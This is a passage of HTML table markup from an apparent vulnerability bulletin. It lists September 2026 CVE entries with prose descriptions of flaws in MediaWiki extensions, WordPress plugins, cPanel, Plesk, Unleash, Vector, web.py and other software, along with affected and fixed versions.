&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Mediawiki - Cargo extension allows Reflected XSS. This issue affects Mediawiki - Cargo extension: through 3.9.4.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96878&quot; target=&quot;_blank&quot;&gt;CVE-2026-96878&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Wikimedia Foundation--Mediawiki - CirrusSearch Extension&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Mediawiki - CirrusSearch extension allows Reflected XSS. This issue affects Mediawiki - CirrusSearch extension through 1.46.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96873&quot; target=&quot;_blank&quot;&gt;CVE-2026-96873&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Wikimedia Foundation--Mediawiki - FlaggedRevs extension&lt;/td&gt;
&lt;td&gt;Improper removal of sensitive information before storage or transfer vulnerability in Wikimedia Foundation&#039;s Mediawiki - FlaggedRevs extension&amp;nbsp;through 1.46.0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96879&quot; target=&quot;_blank&quot;&gt;CVE-2026-96879&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Wikimedia Foundation--Mediawiki - Thanks Extension&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in The Wikimedia Foundation Mediawiki - Thanks Extension allows Stored XSS. This issue affects Mediawiki - Thanks Extension: from * before 1.43.10/1.45.5/1.46.1.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100237&quot; target=&quot;_blank&quot;&gt;CVE-2026-100237&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The Wikimedia Foundation--Mediawiki - WikiLambda Extension&lt;/td&gt;
&lt;td&gt;Improper handling of insufficient permissions or privileges vulnerability in The Wikimedia Foundation Mediawiki - WikiLambda Extension on Linux, MacOS, and Windows allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Mediawiki - WikiLambda Extension: before 1.47.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96872&quot; target=&quot;_blank&quot;&gt;CVE-2026-96872&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thorsten--phpMyFAQ&lt;/td&gt;
&lt;td&gt;phpMyFAQ is an open source FAQ web application. The `StopWords::add()` method inversions prior to 4.1.6 builds a SQL `INSERT` statement using `sprintf()` and inserts the user-supplied stop word value directly into the query string without calling the application&#039;s database escaping function on it. A sibling method, `StopWords::update()`, which modifies an existing stop word, correctly escapes the same kind of input. The omission is isolated to the `add()` (insert) code path. An authenticated administrator who can reach the stop-word management feature can submit a crafted value as the &quot;word&quot; parameter that breaks out of the SQL string literal and injects arbitrary SQL, including statements to drop tables, exfiltrate data, or modify other rows in the database. Version 4.1.6 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56738&quot; target=&quot;_blank&quot;&gt;CVE-2026-56738&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tinyauthapp--tinyauth&lt;/td&gt;
&lt;td&gt;Tinyauth is an authentication and authorization server. Prior to 5.1.0, Tinyauth exposes a remotely observable timing difference between authentication attempts for existing and nonexistent local usernames. internal/controller/user_controller.go loginHandler and internal/middleware/context_middleware.go basicAuth return quickly after internal/service/auth_service.go reports a missing user, while an existing user causes bcrypt password verification work. Repeated measurements can therefore disclose valid usernames and support targeted credential attacks. This issue is fixed in version 5.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77582&quot; target=&quot;_blank&quot;&gt;CVE-2026-77582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tinyexpr--tinyexpr&lt;/td&gt;
&lt;td&gt;An incorrect buffer size calculation vulnerability exists in tinyexpr commit 4a7456e in new_expr(). For arity-0 expression nodes, including constants, variables, and zero-argument functions, the function allocates less memory than sizeof(te_expr) but treats the returned allocation as a complete te_expr object. This results in undefined behavior and can cause deterministic process termination in UBSan-instrumented builds.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88355&quot; target=&quot;_blank&quot;&gt;CVE-2026-88355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tohoku Electric Power Company, Incorporated--Tohoku Electric Power &quot;Yorisou e Net&quot; Android App&lt;/td&gt;
&lt;td&gt;Smartphone application Tohoku Electric Power &quot;Yorisou e Net&quot; uses a hard-coded cryptographic key, which may allow an attacker to retrieve a hard-coded cryptographic key from the affected product.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75553&quot; target=&quot;_blank&quot;&gt;CVE-2026-75553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;traefik--traefik&lt;/td&gt;
&lt;td&gt;Traefik is an open source HTTP reverse proxy and load balancer. From 3.6.11 until 3.7.13, checkPassword in pkg/middlewares/auth/basic_auth.go constructs the BasicAuth singleflight key from the submitted password and stored secret. Concurrent requests for absent usernames therefore coalesce on one key while configured usernames perform separate password hashes, creating an unauthenticated timing discrepancy that reveals whether a username exists. Sequential checks remain cost-equalized, Traefik v2 and Digest authentication are not affected, and the issue does not disclose credentials or bypass authentication. This issue is fixed in version 3.7.13.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88010&quot; target=&quot;_blank&quot;&gt;CVE-2026-88010&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;twentyhq--twenty&lt;/td&gt;
&lt;td&gt;Twenty is an open-source CRM (customer relationship management) platform. Prior to 2.22.0, field-level read permission is enforced on selected output fields but not on GraphQL or REST filter predicates. A workspace member or API key with permission to read an object but not a particular field can reference that denied field in direct filters, relation filters, or persisted view filters. The resulting totalCount and row presence reveal whether guesses match the real column, forming a boolean/count oracle that can reconstruct denied field values for records exposed by the principal&#039;s row-level policy. This issue is fixed in version 2.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85055&quot; target=&quot;_blank&quot;&gt;CVE-2026-85055&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Univer--Univer v1.0.0-alpha.2&lt;/td&gt;
&lt;td&gt;A remote code execution (RCE) vulnerability in the UniscriptExecutionService.execute() function (/services/script-execution.service.ts) of Univer v1.0.0-alpha.2 allows attackers to execute arbitrary code via a crafted payload.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88404&quot; target=&quot;_blank&quot;&gt;CVE-2026-88404&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Univer--Univer v1.0.0-alpha.2&lt;/td&gt;
&lt;td&gt;A remote code execution (RCE) vulnerability in the RemoteRegisterFunctionService function (/remote/remote-register-function.service.ts) of Univer v1.0.0-alpha.2 allows attackers to execute arbitrary code via a crafted payload.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88405&quot; target=&quot;_blank&quot;&gt;CVE-2026-88405&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Unleash--unleash&lt;/td&gt;
&lt;td&gt;Unleash is an open-source feature management platform. Prior to 8.0.3, the change-request approval email template at src/mailtemplates/requested-cr-approval/requested-cr-approval.html.mustache renders the user-controlled changeRequestTitle, requesterName, and requesterEmail values without HTML escaping, and sendRequestedCRApprovalEmail passes those values to Mustache rendering. A project member who can create a change request when approval emails are enabled can inject HTML into an approver&#039;s notification, allowing forged links, tracking content, or visually altered email content. This issue is fixed in version 8.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76909&quot; target=&quot;_blank&quot;&gt;CVE-2026-76909&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Unleash--unleash&lt;/td&gt;
&lt;td&gt;Unleash is an open-source feature management platform. Prior to 8.0.3, cloneFeatureToggle and POST /api/admin/projects/:projectId/features/:featureName/clone authorize creation in the destination project but do not verify access to the source project. Because feature names are globally unique, a user with create or clone permission in one project who knows or guesses another project&#039;s feature name can copy that feature into the authorized project and inspect its strategy parameters, constraints, variants, and variant payloads. This issue is fixed in version 8.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76910&quot; target=&quot;_blank&quot;&gt;CVE-2026-76910&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Unleash--unleash&lt;/td&gt;
&lt;td&gt;Unleash is an open-source feature management platform. Prior to 8.0.3, the Unleash admin API contains five authorization vulnerabilities. POST /api/admin/segments/strategies assigns the Promise returned by hasPermission without awaiting it, allowing authenticated users to modify segment assignments without UPDATE_FEATURE_STRATEGY permission for the target project and environment. GET /api/admin/projects/:projectId/features/:featureName/environments/:environment/variants does not bind the requested feature to projectId, allowing cross-project variant configuration disclosure. GET .../strategies/:strategyId uses strategyId without validating the project and feature context, allowing cross-project strategy configuration disclosure. getEnvironmentInfo does not validate that the requested feature belongs to the supplied project, allowing cross-project environment information disclosure. PUT /:projectId/tags accepts feature identifiers without verifying that they belong to the URL project, allowing cross-project tag modification. This issue is fixed in version 8.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77426&quot; target=&quot;_blank&quot;&gt;CVE-2026-77426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;UpdraftPlus: WP Backup &amp;amp; Migration Plugin--UpdraftPlus: WP Backup &amp;amp; Migration Plugin&lt;/td&gt;
&lt;td&gt;The UpdraftPlus: WP Backup &amp;amp; Migration Plugin WordPress plugin before 1.26.8, UpdraftPlus: WP Backup &amp;amp; Migration Plugin WordPress plugin before 2.26.8.26 does not have any capability check in a routine that outputs its stored remote storage settings into admin pages when the site is left in a particular post-migration state, allowing any authenticated user, such as a subscriber, to retrieve the credentials of the configured backup destinations, such as passwords and secret keys.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82841&quot; target=&quot;_blank&quot;&gt;CVE-2026-82841&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vectordotdev--vector&lt;/td&gt;
&lt;td&gt;Vector is a high-performance observability data pipeline. From 0.15.0 until 0.57.0, the logstash source reads a 32-bit compressed-frame length from the network and uses it to size an in-memory buffer without an upper bound. An unauthenticated remote peer that can reach the default 0.0.0.0:5044 listener can send a minimal frame declaring a multi-gigabyte payload, causing an excessive allocation that can abort Vector or invoke the host OOM killer. Because the allocation follows the declared length rather than bytes transmitted, the attacker has low resource cost, and process termination can halt log ingestion for every tenant on a shared pipeline. This issue is fixed in version 0.57.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77619&quot; target=&quot;_blank&quot;&gt;CVE-2026-77619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vectordotdev--vector&lt;/td&gt;
&lt;td&gt;Vector is a high-performance observability data pipeline. From 0.15.0 until 0.57.0, the logstash source feeds each decompressed frame back into its decoder without limiting nested compression depth. An unauthenticated remote peer that can reach the default 0.0.0.0:5044 listener can send many nested compressed frames, causing recursive decoding that exhausts the worker thread stack and aborts the process. The same nested construction amplifies decompressed input, and process termination can halt log ingestion for every tenant on a shared pipeline. This issue is fixed in version 0.57.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77620&quot; target=&quot;_blank&quot;&gt;CVE-2026-77620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vectordotdev--vector&lt;/td&gt;
&lt;td&gt;Vector is a high-performance observability data pipeline. From 0.10.0 until 0.57.0, the file sink renders its templated path from event fields and opens the result without confining it to an intended directory. When an untrusted source supplies an event field used by the path template, the value can contain an absolute path or parent-directory traversal, causing Vector to create parent directories and create or overwrite files outside the intended location with the Vector process privileges. The resulting file write can modify sensitive files and can lead to code execution when a scheduled task, authorization file, or subsequently executed script is targeted. This issue is fixed in version 0.57.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77621&quot; target=&quot;_blank&quot;&gt;CVE-2026-77621&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Verge3D Publishing and E-Commerce--Verge3D Publishing and E-Commerce&lt;/td&gt;
&lt;td&gt;The Verge3D Publishing and E-Commerce WordPress plugin through 4.13.0 does not restrict access to a file-download handler, allowing unauthenticated users to download the digital-goods files attached to any order without authorization.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92995&quot; target=&quot;_blank&quot;&gt;CVE-2026-92995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;VMware--Datastore&lt;/td&gt;
&lt;td&gt;An issue in the VMware datastore driver of OpenStack glance_store. When an authenticated attacker provides a maliciously crafted image location URI pointing to an external server, the _retry_request function fails to validate the destination host before attaching sensitive authentication headers.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-51773&quot; target=&quot;_blank&quot;&gt;CVE-2026-51773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vulnerability-lookup--vulnerability-lookup&lt;/td&gt;
&lt;td&gt;The account recovery (password reset) functionality in the vulnerability-lookup web application contains a time-of-check-to-time-of-use (TOCTOU) race condition in the consumption of single-use recovery tokens. The original implementation verified the token nonce against the stored digest and then consumed (cleared) it in separate database operations. Two concurrent HTTP requests presenting the same valid recovery token could both pass the verification check before either transaction committed, allowing both to set their own password on the target account. The last transaction to commit overwrites the first, enabling an attacker who possesses a valid recovery token to replace the legitimate user&#039;s password with one of their choosing. A secondary defect in the same endpoint (confirm_account) allowed a valid recovery link to be used to set an empty or trivially short password (e.g., three characters). The view handler performed only a manual equality comparison between the two password fields and never invoked the form&#039;s validation logic, bypassing the intended minimum-length and complexity constraints. The affected component is the user account recovery endpoint (/user/confirm_account/&amp;lt;token&amp;gt;) and the associated token verification and consumption logic in the User model (website/models/user.py) and the view layer (website/web/views/user.py).&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101041&quot; target=&quot;_blank&quot;&gt;CVE-2026-101041&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wagtail --Wagtail Editor&amp;nbsp;&lt;/td&gt;
&lt;td&gt;A reflected cross-site scripting (XSS) vulnerability in the EntryAbstract.save() component of APSL puput v1.2.1 through v2.2.0 allows authenticated attackers with Wagtail Editor privileges to execute arbitrary code in the context of the victim&#039;s browser via a crafted payload.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88420&quot; target=&quot;_blank&quot;&gt;CVE-2026-88420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;warp-tech--warpgate&lt;/td&gt;
&lt;td&gt;Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.28.4, PUT /@warpgate/admin/api/users/:id/roles/:role_id reaches api_update_user_role in warpgate-admin/src/api/users.rs through AdminContext but does not require AdminPermission::AccessRolesAssign. A limited administrator with any permission can update expires_at on an existing UserRoleAssignment and clear revoked_at, extending an expiring grant or reinstating a revoked grant. The endpoint cannot create a role assignment that never existed because it returns not found without a matching user and role pair. This issue is fixed in version 0.28.4.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91167&quot; target=&quot;_blank&quot;&gt;CVE-2026-91167&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WatchGuard--AuthPoint Authentication Gateway&lt;/td&gt;
&lt;td&gt;A missing/improper authentication vulnerability in the WatchGuard AuthPoint Gateway&#039;s LDAP Sync first-factor authentication allows a remote attacker to bypass single-factor password verification under non-default operating conditions. Additional authentication factors still apply.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95676&quot; target=&quot;_blank&quot;&gt;CVE-2026-95676&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WC Fields Factory--WC Fields Factory&lt;/td&gt;
&lt;td&gt;The WC Fields Factory WordPress plugin before 4.1.11 does not properly restrict access to, or verify a nonce for, a post-cloning action, allowing Contributor-level users and above to duplicate arbitrary posts of any type or status, including other users&#039; private or draft content, and gain read access to the resulting copy.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93507&quot; target=&quot;_blank&quot;&gt;CVE-2026-93507&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WC Fields Factory--WC Fields Factory&lt;/td&gt;
&lt;td&gt;The WC Fields Factory WordPress plugin before 4.1.11 does not properly restrict access to its field-management AJAX action, allowing authenticated users with Subscriber-level access and above to create, modify and delete arbitrary post meta on any post, including WooCommerce products, regardless of ownership, and to manipulate stored pricing rules on a product to reduce its checkout price.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93508&quot; target=&quot;_blank&quot;&gt;CVE-2026-93508&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Web to Print Online Designer--Web to Print Online Designer&lt;/td&gt;
&lt;td&gt;The Web to Print Online Designer WordPress plugin before 2.15.0 does not validate the type or extension of uploaded files, and hands the token protecting those uploads to any visitor who asks for it, allowing unauthenticated attackers to upload arbitrary files, including PHP ones, and run code on the server.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82187&quot; target=&quot;_blank&quot;&gt;CVE-2026-82187&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;web2py--web2py&lt;/td&gt;
&lt;td&gt;web2py 3.2.2-stable (commit a7330a2bf21219fa77860b6665de927dd4f98e6d) is vulnerable to Directory Traversal in read_file()/write_file() (applications/admin/controllers/webservices.py).&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79318&quot; target=&quot;_blank&quot;&gt;CVE-2026-79318&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WEBCON--WEBCON BPS&lt;/td&gt;
&lt;td&gt;WEBCON BPS is vulnerable to Insecure Direct Object Reference (IDOR) in the /api/vacations/{path} endpoint. The selectedPeople parameter in the Gantt vacation chart API does not validate whether the requesting user is authorized to access the requested users&#039; data. An authenticated attacker can supply arbitrary user logins in the selectedPeople parameter to view vacation schedules of other employees, including managers and staff from other offices, regardless of business logic access restrictions, resulting in unauthorized disclosure of sensitive scheduling information.This vulnerability was fixed in versions: 2025.2.1.177 and&amp;nbsp;2026.1.1.20&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92419&quot; target=&quot;_blank&quot;&gt;CVE-2026-92419&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebFacing--WebFacing&lt;/td&gt;
&lt;td&gt;The WebFacingâ„¢ WordPress plugin before 5.4 does not restrict access to one of its bundled scripts and does not validate a user-supplied path before using it to include a local file, allowing unauthenticated users to perform Local File Inclusion.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84069&quot; target=&quot;_blank&quot;&gt;CVE-2026-84069&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebPros--cPanel&lt;/td&gt;
&lt;td&gt;Incorrect permission assignment allows local users to obtain sensitive CalDAV/CardDAV information belonging to other accounts.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68490&quot; target=&quot;_blank&quot;&gt;CVE-2026-68490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebPros--cPanel&lt;/td&gt;
&lt;td&gt;Execution with unnecessary privileges in cPanel allows remote authenticated users to execute arbitrary code with root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87899&quot; target=&quot;_blank&quot;&gt;CVE-2026-87899&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebPros--Plesk&lt;/td&gt;
&lt;td&gt;An untrusted search path vulnerability in Plesk from 18.0.34 before 18.0.80.8 and 18.0.81 before 18.0.81.1 allows remote authenticated users to execute arbitrary code as root via the &quot;Plesk RESTful API&quot; extension from 2.4.2 before 2.4.7.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68492&quot; target=&quot;_blank&quot;&gt;CVE-2026-68492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebPros--Plesk extension &quot;Site Import&quot;&lt;/td&gt;
&lt;td&gt;OS command injection in Plesk allows remote authenticated users to execute arbitrary code with root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87898&quot; target=&quot;_blank&quot;&gt;CVE-2026-87898&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WebPros--WP Toolkit for cPanel&lt;/td&gt;
&lt;td&gt;Argument injection in WP Toolkit for cPanel 6.11.2-10794 and earlier allows remote authenticated users to read arbitrary files and execute arbitrary code across customer accounts.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87900&quot; target=&quot;_blank&quot;&gt;CVE-2026-87900&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;webpy--web.py 0.76&amp;nbsp;&lt;/td&gt;
&lt;td&gt;webpy web.py 0.76 is vulnerable to server-side template injection (SSTI). The template engine can be tricked into executing attacker-controlled template code that built-in security checks are designed to reject. When an application precompiles templates from a directory the attacker can write to and later renders them through the precompiled template loader, the sandbox is bypassed and the attacker&#039;s code runs, resulting in arbitrary Python code execution and OS command execution on the server.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79310&quot; target=&quot;_blank&quot;&gt;CVE-2026-79310&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;webpy--web.py 0.76&amp;nbsp;&lt;/td&gt;
&lt;td&gt;webpy web.py 0.76 is vulnerable to Cross Site Scripting (XSS) via render_jinja.__init__().&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
